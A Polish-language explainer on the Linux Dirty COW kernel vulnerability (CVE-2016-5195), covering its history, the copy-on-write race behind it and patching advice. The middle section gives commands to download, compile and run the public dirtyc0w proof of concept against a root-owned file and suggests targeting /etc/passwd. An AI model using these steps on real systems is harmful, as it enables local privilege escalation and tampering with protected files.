Ta krowa jest nadal brudna, czyli Dirty Cow po latach

Finlandia, 11 lat temu. Szara emanacja dżdżystego poranka szczelnie opatuliła zagubioną na pustkowiach chatkę. Jej wnętrza przed rozpełzającą się mgłą broni nikłe światło lampki biurowej i poświata bijąca od monitora. Postać pochylona nad klawiaturą komputera zmełła w ustach przekleństwo. „A to zafajdane bydle… Dobra, to się poprawi później” stwierdził Linus Torvalds, gdy zaproponowane przez niego zmiany likwidujące skutki błędu CVE-2016-5195 były zbyt niestabilne dla platformy s390. Nie zdążył. Brudna krowa wyrwała się swemu prześladowcy i oddaliła się w nieznanym kierunku pod osłoną mgły.

A kuku
Historia brudnej krowy dobitnie pokazuje, że jeżeli mamy coś zrobić, to lepiej zrobić to od razu. Niepozorny błąd CVE-2016-5195 który powrócił po latach, zatrząsł w posadach światem Linuksa a innych przysporzył o palpitacje serca – gdyż ich urządzenia z wbudowanym Linuksem zapewne nigdy nie doczekają się poprawki.

Geneza

Jak mówi sam Linus, zmagał się z tym błędem już 11 lat temu. Jednak z powodu problemów jakie generowały jego poprawki na s390, zmiany cofnięto.

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).
(…)

W ten sposób nieciekawie napisany mechanizm Copy-on-Write który został zaimplementowany w 2007 roku w kernelu 2.6.22 pozostał z nami po dzisiejsze czasy.

Zasada działania

Jak już wspomniałem, wszystkiemu jest winne Copy-on-Write (COW), czyli kopiowanie przy zapisie. Sposób działania tego mechanizmu został potraktowany nieco „na skróty”, dzięki czemu gwoździem do jego optymalizacji okazało się zwracanie wskaźnika do danych a nie ich fizyczne kopiowanie. Taka sytuacja miała miejsce, gdy nie było pewności, że dane będą modyfikowane. Po nitce do kłębka okazało się, że stosowne wykorzystanie funkcji madvise(), alokowanie pamięci dla danych niedostępnych dla użytkownika i manipulacje w /proc/self/mem doprowadzają do sytuacji, że kernel umożliwia zapis w pliku niedostępnym dla użytkownika.

Praktyka? Proszę bardzo – przy okazji będzie możliwość przetestowania własnego kernela:

Pobieramy krótki „proof of concept”:

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Jako root tworzymy jakiś plik tekstowy:

sudo sh -c "echo Oto nasza zawartosc pliku > foo"

Kompilujemy pobrane dirtyc0w.c:

gcc -lpthread dirtyc0w.c -o dirtyc0w

… lub:

gcc -pthread dirtyc0w.c -o dirtyc0w

Wykonujemy „atak” posiadany przez root plik foo:

$ ./dirtyc0w foo muuuuu
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
muuuuu

Jak widzimy, zawartość pliku zmieniła się. Wyobraźmy sobie teraz takie sztuczki z /etc/passwd.

Jak się bronić

Wobec zbiorowej paniki warto uściślić jedną rzecz – to nie jest atak zdalny. Przeprowadzić go możemy jedynie mając nawiązane połączenie z systemem i mając uruchomioną powłokę (choćby web_shell). W pierwszej kolejności należy oczywiście załatać serwery.

Wszystkie dystrybucje wydały już stosowne łatki dla kerneli. Należy po prostu przeprowadzić aktualizację systemu. W przypadku Ubuntu wykonujemy:

sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

Konieczny będzie reboot.